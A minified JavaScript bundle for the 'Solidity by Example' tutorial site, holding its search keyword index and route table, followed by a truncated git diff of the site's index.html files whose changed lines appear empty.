pp/create2"],uY=["/primitives"],yY=["/primitives"],mY=["/new-contract","/hacks/deploy-different-contracts-same-address"],bY=["/new-contract"],wY=["/new-contract","/hacks/deploy-different-contracts-same-address","/app/create2"],kY=["/new-contract","/hacks/deploy-different-contracts-same-address"],ZY=["/mapping","/app/iterable-mapping"],WY=["/loop","/assembly-loop"],GY=["/loop"],BY=["/library"],fY=["/interface"],VY=["/inheritance"],YY=["/inheritance"],XY=["/inheritance"],RY=["/immutable","/defi/constant-sum-amm","/defi/constant-product-amm","/constants"],vY=["/immutable","/constants"],NY=["/immutable"],HY=["/immutable"],KY=["/if-else"],FY=["/if-else"],MY=["/if-else"],SY=["/hello-world"],xY=["/hello-world"],JY=["/hashing"],zY=["/hashing"],DY=["/hashing"],EY=["/hacks/weth-permit","/hacks/vault-inflation","/hacks/signature-replay","/hacks/self-destruct","/hacks/re-entrancy","/hacks/randomness","/hacks/phishing-with-tx-origin","/hacks/overflow","/hacks/honeypot","/hacks/hiding-malicious-code-with-external-contract","/hacks/front-running","/hacks/deploy-different-contracts-same-address","/hacks/denial-of-service","/hacks/delegatecall","/hacks/contract-size","/hacks/block-timestamp-manipulation","/hacks/accessing-private-data"],QY=["/hacks/weth-permit","/hacks/vault-inflation","/hacks/signature-replay","/hacks/self-destruct","/hacks/re-entrancy","/hacks/randomness","/hacks/phishing-with-tx-origin","/hacks/overflow","/hacks/honeypot","/hacks/hiding-malicious-code-with-external-contract","/hacks/front-running","/hacks/deploy-different-contracts-same-address","/hacks/denial-of-service","/hacks/delegatecall","/hacks/contract-size","/hacks/block-timestamp-manipulation","/hacks/accessing-private-data","/events-advanced"],TY=["/hacks/weth-permit"],LY=["/hacks/weth-permit","/app/gasless-token-transfer"],UY=["/hacks/vault-inflation"],_Y=["/hacks/vault-inflation"],OY=["/hacks/vault-inflation","/defi/vault"],PY=["/hacks/signature-replay"],$Y=["/hacks/self-destruct"],qY=["/hacks/randomness"],sX=["/hacks/randomness"],aX=["/hacks/randomness"],nX=["/hacks/randomness"],lX=["/hacks/randomness","/hacks/block-timestamp-manipulation"],pX=["/hacks/randomness","/hacks/block-timestamp-manipulation"],eX=["/hacks/phishing-with-tx-origin"],cX=["/hacks/overflow"],tX=["/hacks/honeypot"],oX=["/hacks/hiding-malicious-code-with-external-contract"],rX=["/hacks/hiding-malicious-code-with-external-contract"],iX=["/hacks/hiding-malicious-code-with-external-contract"],gX=["/hacks/hiding-malicious-code-with-external-contract"],hX=["/hacks/front-running"],IX=["/hacks/front-running"],dX=["/hacks/deploy-different-contracts-same-address","/app/deploy-any-contract"],CX=["/hacks/deploy-different-contracts-same-address"],jX=["/hacks/deploy-different-contracts-same-address"],AX=["/hacks/denial-of-service"],uX=["/hacks/denial-of-service"],yX=["/hacks/delegatecall","/delegatecall","/app/upgradeable-proxy","/app/multi-delegatecall"],mX=["/hacks/contract-size"],bX=["/hacks/contract-size"],wX=["/hacks/contract-size"],kX=["/hacks/contract-size"],ZX=["/hacks/block-timestamp-manipulation"],WX=["/hacks/accessing-private-data"],GX=["/hacks/accessing-private-data"],BX=["/gas-golf"],fX=["/function-selector"],VX=["/function-selector"],YX=["/function-modifier"],XX=["/function-modifier"],RX=["/function-modifier"],vX=["/foundry/time","/foundry/sign","/foundry/send","/foundry/mock-call","/foundry/label","/foundry/event","/foundry/error","/foundry/basic","/foundry/auth"],NX=["/foundry/time","/app/time-lock"],HX=["/foundry/time"],KX=["/foundry/time"],FX=["/foundry/time"],MX=["/foundry/time"],SX=["/foundry/sign"],xX=["/foundry/send"],JX=["/foundry/send"],zX=["/foundry/mock-call"],DX=["/foundry/label"],EX=["/foundry/event","/events"],QX=["/foundry/basic"],TX=["/foundry/basic","/first-app"],LX=["/foundry/auth"],UX=["/foundry/auth"],_X=["/foundry/auth"],OX=["/first-app"],PX=["/evm/storage","/evm/memory"],$X=["/evm/storage","/evm/memory","/assembly-variable","/assembly-math","/assembly-loop","/assembly-if","/assembly-error","/app/assembly-bin-exp"],qX=["/evm/storage","/evm/memory","/bitwise","/assembly-variable","/assembly-math","/assembly-loop","/assembly-if","/assembly-error","/app/assembly-bin-exp"],sR=["/evm/memory","/data-locations"],aR=["/events-advanced","/events"],nR=["/events-advanced"],lR=["/events-advanced"],pR=["/events-advanced"],eR=["/ether-units"],cR=["/ether-units"],tR=["/error"],oR=["/error","/assembly-error"],rR=["/error"],iR=["/enum"],gR=["/defi/vault","/defi/uniswap-v3-swap","/defi/uniswap-v3-liquidity","/defi/uniswap-v3-flash-swap","/defi/uniswap-v3-flash","/defi/uniswap-v2-optimal-one-sided-supply","/defi/uniswap-v2-flash-swap","/defi/uniswap-v2-add-remove-liquidity","/defi/uniswap-v2","/defi/staking-rewards","/defi/stable-swap-amm","/defi/discrete-staking-rewards","/defi/dai-proxy","/defi/constant-sum-amm","/defi/constant-product-amm","/defi/chainlink-price-oracle"],hR=["/defi/uniswap-v3-swap","/defi/uniswap-v3-liquidity","/defi/uniswap-v3-flash-swap","/defi/uniswap-v3-flash","/defi/uniswap-v2-optimal-one-sided-supply","/defi/uniswap-v2-flash-swap","/defi/uniswap-v2-add-remove-liquidity","/defi/uniswap-v2"],IR=["/defi/uniswap-v3-swap","/defi/uniswap-v3-liquidity","/defi/uniswap-v3-flash-swap","/defi/uniswap-v3-flash"],dR=["/defi/uniswap-v3-swap","/defi/uniswap-v3-flash-swap","/defi/uniswap-v2-flash-swap","/defi/uniswap-v2","/defi/stable-swap-amm"],CR=["/defi/uniswap-v3-swap","/defi/uniswap-v3-liquidity","/defi/uniswap-v3-flash-swap","/defi/uniswap-v3-flash","/defi/uniswap-v2-optimal-one-sided-supply","/defi/uniswap-v2-flash-swap","/defi/uniswap-v2-add-remove-liquidity","/defi/uniswap-v2","/defi/stable-swap-amm","/defi/constant-sum-amm","/defi/constant-product-amm"],jR=["/defi/uniswap-v3-liquidity","/defi/uniswap-v2-add-remove-liquidity"],AR=["/defi/uniswap-v3-flash-swap"],uR=["/defi/uniswap-v3-flash","/defi/uniswap-v2-flash-swap"],yR=["/defi/uniswap-v3-flash"],mR=["/defi/uniswap-v2-optimal-one-sided-supply","/defi/uniswap-v2-flash-swap","/defi/uniswap-v2-add-remove-liquidity","/defi/uniswap-v2"],bR=["/defi/uniswap-v2-optimal-one-sided-supply"],wR=["/defi/uniswap-v2-optimal-one-sided-supply"],kR=["/defi/uniswap-v2-optimal-one-sided-supply"],ZR=["/defi/uniswap-v2-optimal-one-sided-supply"],WR=["/defi/uniswap-v2-add-remove-liquidity","/assembly-math"],GR=["/defi/uniswap-v2-add-remove-liquidity"],BR=["/defi/staking-rewards","/defi/discrete-staking-rewards"],fR=["/defi/staking-rewards","/defi/discrete-staking-rewards"],VR=["/defi/staking-rewards","/defi/discrete-staking-rewards"],YR=["/defi/stable-swap-amm"],XR=["/defi/stable-swap-amm"],RR=["/defi/discrete-staking-rewards"],vR=["/defi/dai-proxy"],NR=["/defi/dai-proxy","/app/upgradeable-proxy","/app/minimal-proxy"],HR=["/defi/constant-sum-amm"],KR=["/defi/constant-product-amm"],FR=["/defi/chainlink-price-oracle"],MR=["/defi/chainlink-price-oracle"],SR=["/defi/chainlink-price-oracle"],xR=["/defi/chainlink-price-oracle"],JR=["/data-locations"],zR=["/data-locations"],DR=["/data-locations"],ER=["/constructor"],QR=["/constructor"],TR=["/calling-contract"],LR=["/bitwise"],UR=["/bitwise"],_R=["/bitwise"],OR=["/bitwise"],PR=["/assembly-math"],$R=["/array"],qR=["/array"],sv=["/app/write-to-any-slot"],av=["/app/write-to-any-slot","/app/deploy-any-contract"],nv=["/app/write-to-any-slot"],lv=["/app/upgradeable-proxy"],pv=["/app/uni-directional-payment-channel","/app/bi-directional-payment-channel"],ev=["/app/uni-directional-payment-channel","/app/bi-directional-payment-channel"],cv=["/app/time-lock"],tv=["/app/simple-bytecode-contract"],ov=["/app/simple-bytecode-contract"],rv=["/app/multi-sig-wallet","/app/multi-delegatecall","/app/multi-call"],iv=["/app/multi-sig-wallet"],gv=["/app/multi-sig-wallet","/app/ether-wallet"],hv=["/app/multi-call"],Iv=["/app/minimal-proxy"],dv=["/app/merkle-tree","/app/airdrop"],Cv=["/app/merkle-tree"],jv=["/app/iterable-mapping"],Av=["/app/gasless-token-transfer"],uv=["/app/gasless-token-transfer","/app/erc20"],yv=["/app/gasless-token-transfer"],mv=["/app/erc721"],bv=["/app/erc721"],wv=["/app/erc721","/app/erc1155"],kv=["/app/erc20"],Zv=["/app/erc20"],Wv=["/app/erc1155"],Gv=["/app/erc1155"],Bv=["/app/english-auction"],fv=["/app/english-auction","/app/dutch-auction"],Vv=["/app/english-auction","/app/dutch-auction"],Yv=["/app/dutch-auction"],Xv=["/app/crowd-fund"],Rv=["/app/crowd-fund"],vv=["/app/crowd-fund"],Nv=["/app/create2"],Hv=["/app/assembly-bin-exp"],Kv=["/app/assembly-bin-exp"],Fv=["/app/airdrop"],Mv=["/abi-encode","/abi-decode"],Sv=["/abi-encode"],xv=["/abi-encode","/abi-decode"],Jv=["/abi-encode"],zv=["/abi-encode"],Dv=["/abi-encode"],Ev=["/abi-decode"],vo={visibility:r1,function:["/visibility","/view-and-pure-functions","/sending-ether","/hashing","/function-selector","/function-modifier","/function","/fallback","/delegatecall","/calling-contract","/call"],functions:i1,internal:g1,private:["/visibility","/hacks/accessing-private-data"],public:["/visibility"],external:h1,view:I1,pure:d1,variable:C1,variables:j1,local:A1,global:u1,state:y1,data:m1,user:b1,defined:w1,value:k1,types:Z1,udvt:W1,gas:G1,unchecked:B1,math:f1,overflow:V1,underflow:Y1,try:["/try-catch"],catch:["/try-catch"],error:X1,errors:R1,transient:v1,storage:N1,test:H1,echidna:K1,calling:F1,parent:M1,contract:S1,contracts:x1,inheritance:J1,super:["/super","/inheritance"],struct:z1,structs:D1,type:E1,reading:Q1,writing:T1,app:L1,application:U1,cryptography:_1,verify:O1,verifying:P1,signature:$1,signatures:q1,ecrecover:sY,shadow:aY,shadowing:nY,sending:lY,send:pY,ether:eY,eth:cY,transfer:tY,call:oY,fallback:rY,receive:iY,payable:gY,primitive:hY,primitives:IY,boolean:dY,uint256:CY,int256:jY,address:AY,uint:uY,int:yY,new:["/new-contract","/new-contract"],create:mY,creates:bY,create2:wY,salt:kY,mapping:ZY,for:["/loop","/assembly-loop"],loop:WY,loops:GY,while:["/loop","/assembly-loop"],do:["/loop"],library:BY,interface:["/interface"],interfaces:fY,override:VY,virtual:YY,is:XY,import:["/import","/enum"],constant:RY,constants:vY,immutable:NY,immutables:HY,if:["/if-else","/assembly-if"],else:["/if-else"],conditional:KY,statement:FY,statements:MY,hello:SY,world:xY,hash:JY,hashing:zY,keccak256:DY,hack:EY,security:QY,weth:TY,permit:LY,inflation:UY,erc4626:_Y,vault:OY,replay:PY,selfdestruct:$Y,"re-entrancy":["/hacks/re-entrancy"],source:qY,random:sX,randomness:aX,blockhash:nX,block:lX,timestamp:pX,phishing:eX,"tx.origin":["/hacks/phishing-with-tx-origin"],arithmetic:cX,honeypot:tX,hide:oX,hiding:rX,malicious:iX,code:gX,front:hX,running:IX,deploy:dX,different:CX,same:jX,denial:AX,service:uX,delegatecall:yX,bypass:mX,size:bX,check:wX,extcodesize:kX,manipulation:ZX,access:WX,accessing:GX,golf:BX,selector:fX,selectors:VX,modifier:YX,modifiers:XX,_:RX,foundry:vX,time:NX,warp:HX,skip:KX,roll:FX,unwind:MX,sign:SX,deal:xX,hoax:JX,mock:zX,label:DX,event:EX,basic:QX,counter:TX,auth:LX,authorization:UX,prank:_X,first:OX,evm:PX,yul:$X,assembly:qX,memory:sR,events:aR,advanced:nR,"event-driven":["/events-advanced"],monitoring:lR,filtering:pR,wei:eR,units:cR,require:tR,revert:oR,assert:rR,enum:["/enum"],imports:iR,defi:gR,uniswap:hR,v3:IR,swap:dR,amm:CR,liquidity:jR,arbitrage:AR,flash:uR,loan:yR,v2:mR,optimal:bR,one:wR,sided:kR,supply:ZR,add:WR,remove:GR,staking:BR,reward:fR,rewards:VR,curve:YR,stable:XR,discrete:RR,dai:vR,proxy:NR,sum:HR,product:KR,chainlink:FR,price:MR,oracle:SR,oracles:xR,location:JR,locations:zR,calldata:DR,constructor:ER,constructors:QR,other:TR,bitwise:LR,most:UR,significant:_R,bit:OR,mul:PR,switch:["/assembly-if"],array:$R,arrays:qR,write:sv,any:av,slot:nv,upgradeable:lv,"uni-directional":["/app/uni-directional-payment-channel"],payment:pv,channel:ev,lock:cv,simple:tv,bytecode:ov,multi:rv,sig:iv,wallet:gv,staticcall:hv,minimal:Iv,merkle:dv,tree:Cv,iterable:jv,gasless:Av,token:uv,ERC20:yv,erc721:mv,ierc721:bv,nft:wv,erc20:kv,ierc20:Zv,erc1155:Wv,ierc1155:Gv,english:Bv,auction:fv,auctions:Vv,dutch:Yv,crowd:Xv,fund:Rv,funding:vv,precompute:Nv,"bi-directional":["/app/bi-directional-payment-channel"],binary:Hv,exponentiation:Kv,airdrop:Fv,abi:Mv,encode:Sv,bytes:xv,encodeWithSelector:Jv,encodeWithSignature:zv,encodeCall:Dv,decode:Ev},No={"/visibility":["visibility","function","functions","internal","private","public","external"],"/view-and-pure-functions":["view","pure","function","functions"],"/variables":["variable","variables","local","global","state","data"],"/user-defined-value-types":["data","user","defined","value","types","udvt"],"/unchecked-math":["gas","unchecked","math","overflow","underflow"],"/try-catch":["try","catch","error","errors"],"/transient-storage":["transient","storage"],"/tests/echidna":["test","echidna"],"/super":["calling","parent","contract","contracts","inheritance","super"],"/structs":["struct","structs","data","type","types","variable","variables"],"/state-variables":["reading","writing","state","variable","variables","app","application"],"/signature":["cryptography","verify","verifying","signature","signatures","ecrecover"],"/shadowing-inherited-state-variables":["state","variables","variable","shadow","shadowing","inheritance"],"/sending-ether":["sending","send","ether","eth","transfer","send","call","fallback","receive","payable","function","functions"],"/primitives":["primitive","primitives","data","type","types","variable","variables","boolean","uint256","int256","address","uint","int"],"/payable":["payable","eth","send","ether"],"/new-contract":["new","contract","create","contracts","creates","new","create2","salt"],"/mapping":["data","variable","variables","mapping"],"/loop":["for","loop","loops","while","do"],"/library":["library"],"/interface":["interface","interfaces","contract","contracts"],"/inheritance":["inheritance","super","override","virtual","is","contract","contracts"],"/import":["import"],"/immutable":["constant","constants","immutable","immutables","data","variable","variables"],"/if-else":["if","else","conditional","statement","statements"],"/hello-world":["contract","app","application","hello","world"],"/hashing":["hash","hashing","function","functions","keccak256","cryptography"],"/hacks/weth-permit":["hack","security","weth","permit"],"/hacks/vault-inflation":["hack","security","inflation","erc4626","vault"],"/hacks/signature-replay":["hack","security","cryptography","signature","replay"],"/hacks/self-destruct":["hack","security","selfdestruct"],"/hacks/re-entrancy":["hack","security","re-entrancy"],"/hacks/randomness":["hack","security","source","random","randomness","blockhash","block","timestamp"],"/hacks/phishing-with-tx-origin":["hack","security","phishing","tx.origin"],"/hacks/overflow":["hack","security","arithmetic","overflow","underflow"],"/hacks/honeypot":["hack","security","honeypot"],"/hacks/hiding-malicious-code-with-external-contract":["hack","security","hide","hiding","malicious","code","external","contract"],"/hacks/front-running":["hack","security","front","running"],"/hacks/deploy-different-contracts-same-address":["hack","security","deploy","salt","create","create2","different","contract","same","address"],"/hacks/denial-of-service":["hack","security","denial","service"],"/hacks/delegatecall":["hack","security","delegatecall"],"/hacks/contract-size":["hack","security","bypass","contract","size","check","extcodesize"],"/hacks/block-timestamp-manipulation":["hack","security","block","timestamp","manipulation"],"/hacks/accessing-private-data":["hack","security","access","accessing","private","data","storage"],"/gas-golf":["gas","golf"],"/gas":["gas"],"/function-selector":["function","functions","selector","selectors"],"/function-modifier":["function","functions","modifier","modifiers","_"],"/function":["function","functions"],"/foundry/time":["foundry","time","warp","skip","roll","unwind"],"/foundry/sign":["foundry","sign","signature","ecrecover"],"/foundry/send":["foundry","send","deal","hoax"],"/foundry/mock-call":["foundry","mock","call"],"/foundry/label":["foundry","label"],"/foundry/event":["foundry","event"],"/foundry/error":["foundry","error"],"/foundry/basic":["foundry","basic","counter"],"/foundry/auth":["foundry","auth","authorization","prank"],"/first-app":["contract","contracts","app","first","application","counter"],"/fallback":["fallback","function","functions","receive","payable","send","ether","eth","transfer"],"/evm/storage":["data","evm","storage","state","variable","yul","assembly"],"/evm/memory":["data","evm","memory","yul","assembly"],"/events-advanced":["events","advanced","event-driven","monitoring","filtering","security"],"/events":["event","events"],"/ether-units":["data","variables","variable","ether","wei","units"],"/error":["error","errors","require","revert","assert"],"/enum":["data","variable","variables","enum","import","imports"],"/delegatecall":["delegatecall","call","contract","contracts","function","functions"],"/defi/vault":["defi","vault"],"/defi/uniswap-v3-swap":["defi","uniswap","v3","swap","amm"],"/defi/uniswap-v3-liquidity":["defi","uniswap","v3","liquidity","amm"],"/defi/uniswap-v3-flash-swap":["defi","uniswap","v3","swap","arbitrage","amm"],"/defi/uniswap-v3-flash":["defi","uniswap","v3","flash","loan","amm"],"/defi/uniswap-v2-optimal-one-sided-supply":["defi","uniswap","v2","optimal","one","sided","supply","amm"],"/defi/uniswap-v2-flash-swap":["defi","uniswap","v2","flash","swap","amm"],"/defi/uniswap-v2-add-remove-liquidity":["defi","uniswap","v2","add","remove","liquidity","amm"],"/defi/uniswap-v2":["defi","uniswap","v2","swap","amm"],"/defi/staking-rewards":["defi","staking","reward","rewards"],"/defi/stable-swap-amm":["defi","curve","stable","swap","amm"],"/defi/discrete-staking-rewards":["defi","discrete","staking","reward","rewards"],"/defi/dai-proxy":["defi","dai","proxy"],"/defi/constant-sum-amm":["defi","constant","sum","amm"],"/defi/constant-product-amm":["defi","constant","product","amm"],"/defi/chainlink-price-oracle":["defi","chainlink","price","oracle","oracles"],"/data-locations":["data","location","locations","storage","memory","calldata"],"/constructor":["constructor","constructors","contract","inheritance"],"/constants":["constant","constants","data","variable","variables"],"/calling-contract":["calling","other","contract","contracts","call","function","functions"],"/call":["contract","contracts","call","function","functions"],"/bitwise":["bitwise","most","significant","bit","assembly"],"/assembly-variable":["assembly","variable","yul"],"/assembly-math":["assembly","yul","math","add","mul"],"/assembly-loop":["assembly","loop","yul","while","for"],"/assembly-if":["assembly","yul","if","switch"],"/assembly-error":["assembly","yul","error","revert"],"/array":["data","variable","variables","array","arrays"],"/app/write-to-any-slot":["app","application","write","any","slot","storage"],"/app/upgradeable-proxy":["app","application","delegatecall","upgradeable","proxy"],"/app/uni-directional-payment-channel":["app","application","uni-directional","payment","channel","signature","cryptography"],"/app/time-lock":["app","application","time","lock"],"/app/simple-bytecode-contract":["app","application","simple","bytecode","contract"],"/app/multi-sig-wallet":["app","application","multi","sig","signature","wallet"],"/app/multi-delegatecall":["app","application","multi","delegatecall"],"/app/multi-call":["app","application","multi","call","staticcall"],"/app/minimal-proxy":["app","application","minimal","proxy","contract"],"/app/merkle-tree":["app","application","merkle","tree","cryptography"],"/app/iterable-mapping":["app","application","mapping","data","iterable"],"/app/gasless-token-transfer":["app","application","gasless","token","transfer","ERC20","permit"],"/app/ether-wallet":["app","application","ether","eth","wallet"],"/app/erc721":["app","application","erc721","ierc721","nft"],"/app/erc20":["app","application","erc20","ierc20","token"],"/app/erc1155":["app","application","erc1155","nft","ierc1155"],"/app/english-auction":["app","application","english","auction","auctions"],"/app/dutch-auction":["app","application","dutch","auction","auctions"],"/app/deploy-any-contract":["app","application","deploy","any","contract"],"/app/crowd-fund":["app","application","crowd","fund","funding"],"/app/create2":["app","application","create2","precompute","contract","address"],"/app/bi-directional-payment-channel":["app","application","bi-directional","payment","channel","signature","cryptography"],"/app/assembly-bin-exp":["assembly","yul","binary","exponentiation","math"],"/app/airdrop":["app","application","merkle","airdrop"],"/abi-encode":["abi","encode","bytes","encodeWithSelector","encodeWithSignature","encodeCall"],"/abi-decode":["abi","decode","bytes"]},hc=[];for(const s of Object.keys(No))hc.push(...No[s]);const Cg={};for(let s=0;s{const I=n.get("q");I!=null&&I.length>0&&(a(I),c(I,!1))},[]);function c(I,d){const j=I.trim();if(j.length==0){e(null),d&&l({q:""});return}const u=Qv(j.split(" ")),m={};for(const b of u){const G=Tv(b);for(const h of G)m[h]=!0}e(m),d&&l({q:j})}const t=e1(I=>c(I,!0),500,[]);function o(I){a(I),t(I)}function i(){return p?Object.keys(p).length==0?r.jsx("div",{children:"No results"}):r.jsx("ul",{className:as.list,children:jp.filter(({path:I})=>p[I]).map(({path:I,title:d})=>r.jsx("li",{className:as.listItem,children:r.jsx("a",{href:I,children:d})},I))}):r.jsxs(r.Fragment,{children:[rt.map(({routes:I,title:d},j)=>r.jsxs("div",{children:[d&&r.jsx("h3",{className:as.category,children:d}),r.jsx("ul",{className:as.list,children:I.map(({path:u,title:m})=>r.jsx("li",{className:as.listItem,children:r.jsx("a",{href:u,children:m})},u))})]},j)),r.jsxs("div",{children:[r.jsx("h3",{className:as.category,children:"Translations"}),_d.map(({lang:I,url:d})=>r.jsx("li",{className:as.listItem,children:r.jsx("a",{href:d,target:"__blank",children:I})},d))]})]})}return r.jsxs("div",{className:as.component,children:[r.jsx(dg,{title:"Solidity by Example | 0.8.26",description:"Learn smart contract programming using Solidity"}),r.jsx("h1",{className:as.header,children:r.jsx("a",{href:"/",children:"Solidity by Example"})}),r.jsx("div",{className:as.subHeader,children:"v 0.8.26"}),r.jsxs("div",{className:as.main,children:[r.jsxs("p",{children:["Introduction to ",r.jsx("a",{href:"https://solidity.readthedocs.io",children:"Solidity"})," with simple examples"]}),r.jsxs("div",{className:as.youTube,children:[r.jsx("img",{src:Ig,alt:"logo",className:as.youTubeLogo}),r.jsx("a",{href:"https://www.youtube.com/@smartcontractprogrammer",target:"__blank",children:"Most code are explained here"})]}),r.jsxs("div",{className:as.updraft,children:[r.jsx("img",{src:hg,alt:"logo",className:as.updraftLogo}),r.jsx("a",{href:"https://updraft.cyfrin.io/",target:"__blank",children:"Learn Solidity at Cyfrin Updraft"})]}),r.jsx("div",{className:as.updates,children:pN.map((I,d)=>r.jsx("div",{children:I},d))}),r.jsx("div",{className:as.search,children:r.jsx(MV,{value:s,onChange:o})}),i()]})]})}const cN=[{path:"/abi-decode",component:_C},{path:"/abi-encode",component:nj},{path:"/app/airdrop",component:rj},{path:"/app/assembly-bin-exp",component:jj},{path:"/app/bi-directional-payment-channel",component:kj},{path:"/app/create2",component:Yj},{path:"/app/crowd-fund",component:Fj},{path:"/app/deploy-any-contract",component:Ej},{path:"/app/dutch-auction",component:Pj},{path:"/app/english-auction",component:pA},{path:"/app/erc1155",component:gA},{path:"/app/erc20",component:uA},{path:"/app/erc721",component:WA},{path:"/app/ether-wallet",component:RA},{path:"/app/gasless-token-transfer",component:SA},{path:"/app/iterable-mapping",component:TA},{path:"/app/merkle-tree",component:qA},{path:"/app/minimal-proxy",component:cu},{path:"/app/multi-call",component:Iu},{path:"/app/multi-delegatecall",component:mu},{path:"/app/multi-sig-wallet",component:Bu},{path:"/app/simple-bytecode-contract",component:Nu},{path:"/app/time-lock",component:Ju},{path:"/app/uni-directional-payment-channel",component:Uu},{path:"/app/upgradeable-proxy",component:ay},{path:"/app/write-to-any-slot",component:oy},{path:"/array",component:Cy},{path:"/assembly-error",component:wy},{path:"/assembly-if",component:Vy},{path:"/assembly-loop",component:Ky},{path:"/assembly-math",component:Dy},{path:"/assembly-variable",component:Oy},{path:"/bitwise",component:lm},{path:"/call",component:im},{path:"/calling-contract",component:Am},{path:"/constants",component:Zm},{path:"/constructor",component:Xm},{path:"/data-locations",component:Mm},{path:"/defi/chainlink-price-oracle",component:Qm},{path:"/defi/constant-product-amm",component:$m},{path:"/defi/constant-sum-amm",component:eb},{path:"/defi/dai-proxy",component:hb},{path:"/defi/discrete-staking-rewards",component:yb},{path:"/defi/stable-swap-amm",component:Gb},{path:"/defi/staking-rewards",component:vb},{path:"/defi/uniswap-v2",component:xb},{path:"/defi/uniswap-v2-add-remove-liquidity",component:Lb},{path:"/defi/uniswap-v2-flash-swap",component:sw},{path:"/defi/uniswap-v2-optimal-one-sided-supply",component:tw},{path:"/defi/uniswap-v3-flash",component:dw},{path:"/defi/uniswap-v3-flash-swap",component:bw},{path:"/defi/uniswap-v3-liquidity",component:fw},{path:"/defi/uniswap-v3-swap",component:Hw},{path:"/defi/vault",component:zw},{path:"/delegatecall",component:_w},{path:"/enum",component:nk},{path:"/error",component:rk},{path:"/ether-units",component:jk},{path:"/events",component:kk},{path:"/events-advanced",component:Yk},{path:"/evm/memory",component:Fk},{path:"/evm/storage",component:Ek},{path:"/fallback",component:Pk},{path:"/first-app",component:p0},{path:"/foundry/auth",component:g0},{path:"/foundry/basic",component:u0},{path:"/foundry/error",component:W0},{path:"/foundry/event",component:R0},{path:"/foundry/label",component:S0},{path:"/foundry/mock-call",component:T0},{path:"/foundry/send",component:q0},{path:"/foundry/sign",component:cZ},{path:"/foundry/time",component:IZ},{path:"/function",component:mZ},{path:"/function-modifier",component:BZ},{path:"/function-selector",component:NZ},{path:"/gas",component:JZ},{path:"/gas-golf",component:UZ},{path:"/hacks/accessing-private-data",component:aW},{path:"/hacks/block-timestamp-manipulation",component:oW},{path:"/hacks/contract-size",component:CW},{path:"/hacks/delegatecall",component:wW},{path:"/hacks/denial-of-service",component:VW},{path:"/hacks/deploy-different-contracts-same-address",component:KW},{path:"/hacks/front-running",component:DW},{path:"/hacks/hiding-malicious-code-with-external-contract",component:OW},{path:"/hacks/honeypot",component:l2},{path:"/hacks/overflow",component:i2},{path:"/hacks/phishing-with-tx-origin",component:A2},{path:"/hacks/randomness",component:Z2},{path:"/hacks/re-entrancy",component:X2},{path:"/hacks/self-destruct",component:M2},{path:"/hacks/signature-replay",component:Q2},{path:"/hacks/vault-inflation",component:$2},{path:"/hacks/weth-permit",component:eG},{path:"/hashing",component:hG},{path:"/hello-world",component:yG},{path:"/if-else",component:GG},{path:"/immutable",component:vG},{path:"/import",component:xG},{path:"/inheritance",component:LG},{path:"/interface",component:sB},{path:"/library",component:tB},{path:"/loop",component:dB},{path:"/mapping",component:bB},{path:"/new-contract",component:fB},{path:"/payable",component:HB},{path:"/primitives",component:zB},{path:"/sending-ether",component:_B},{path:"/shadowing-inherited-state-variables",component:nf},{path:"/signature",component:rf},{path:"/state-variables",component:Af},{path:"/structs",component:Zf},{path:"/super",component:Xf},{path:"/tests/echidna",component:Mf},{path:"/transient-storage",component:Qf},{path:"/try-catch",component:$f},{path:"/unchecked-math",component:eV},{path:"/user-defined-value-types",component:hV},{path:"/variables",component:yV},{path:"/view-and-pure-functions",component:GV},{path:"/visibility",component:vV},{path:"",component:eN}];function Ho(){const{state:s,init:a}=tt();return W.useLayoutEffect(()=>{a({width:window.document.body.clientWidth})},[]),s.initialized?r.jsx(Md,{basename:"",children:r.jsx(HC,{children:r.jsx(Nd,{children:cN.map(n=>{const{prev:l,next:p}=pC(n.path);return r.jsx(gg,{path:n.path,element:Uo.createElement(n.component,{prev:l,next:p})},n.path)})})})}):null}const tN=document.getElementById("root"),oN=$i(tN),Ko=document.getElementById("root");Ko.hasChildNodes()?Pi(Ko,r.jsx(wo,{children:r.jsx(Ho,{})})):oN.render(r.jsx(wo,{children:r.jsx(Ho,{})})); diff --git a/bitwise/index.html b/bitwise/index.html index 9f67121c5..520c29134 100644 --- a/bitwise/index.html +++ b/bitwise/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/call/index.html b/call/index.html index 9f67121c5..520c29134 100644 --- a/call/index.html +++ b/call/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/calling-contract/index.html b/calling-contract/index.html index 9f67121c5..520c29134 100644 --- a/calling-contract/index.html +++ b/calling-contract/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/constants/index.html b/constants/index.html index 9f67121c5..520c29134 100644 --- a/constants/index.html +++ b/constants/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/constructor/index.html b/constructor/index.html index 9f67121c5..520c29134 100644 --- a/constructor/index.html +++ b/constructor/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/data-locations/index.html b/data-locations/index.html index 9f67121c5..520c29134 100644 --- a/data-locations/index.html +++ b/data-locations/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/defi/chainlink-price-oracle/index.html b/defi/chainlink-price-oracle/index.html index 9f67121c5..520c29134 100644 --- a/defi/chainlink-price-oracle/index.html +++ b/defi/chainlink-price-oracle/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/defi/constant-product-amm/index.html b/defi/constant-product-amm/index.html index 9f67121c5..520c29134 100644 --- a/defi/constant-product-amm/index.html +++ b/defi/constant-product-amm/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/defi/constant-sum-amm/index.html b/defi/constant-sum-amm/index.html index 9f67121c5..520c29134 100644 --- a/defi/constant-sum-amm/index.html +++ b/defi/constant-sum-amm/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/defi/dai-proxy/index.html b/defi/dai-proxy/index.html index 9f67121c5..520c29134 100644 --- a/defi/dai-proxy/index.html +++ b/defi/dai-proxy/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/defi/discrete-staking-rewards/index.html b/defi/discrete-staking-rewards/index.html index 9f67121c5..520c29134 100644 --- a/defi/discrete-staking-rewards/index.html +++ b/defi/discrete-staking-rewards/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/defi/stable-swap-amm/index.html b/defi/stable-swap-amm/index.html index 9f67121c5..520c29134 100644 --- a/defi/stable-swap-amm/index.html +++ b/defi/stable-swap-amm/index.html @@ -28,7 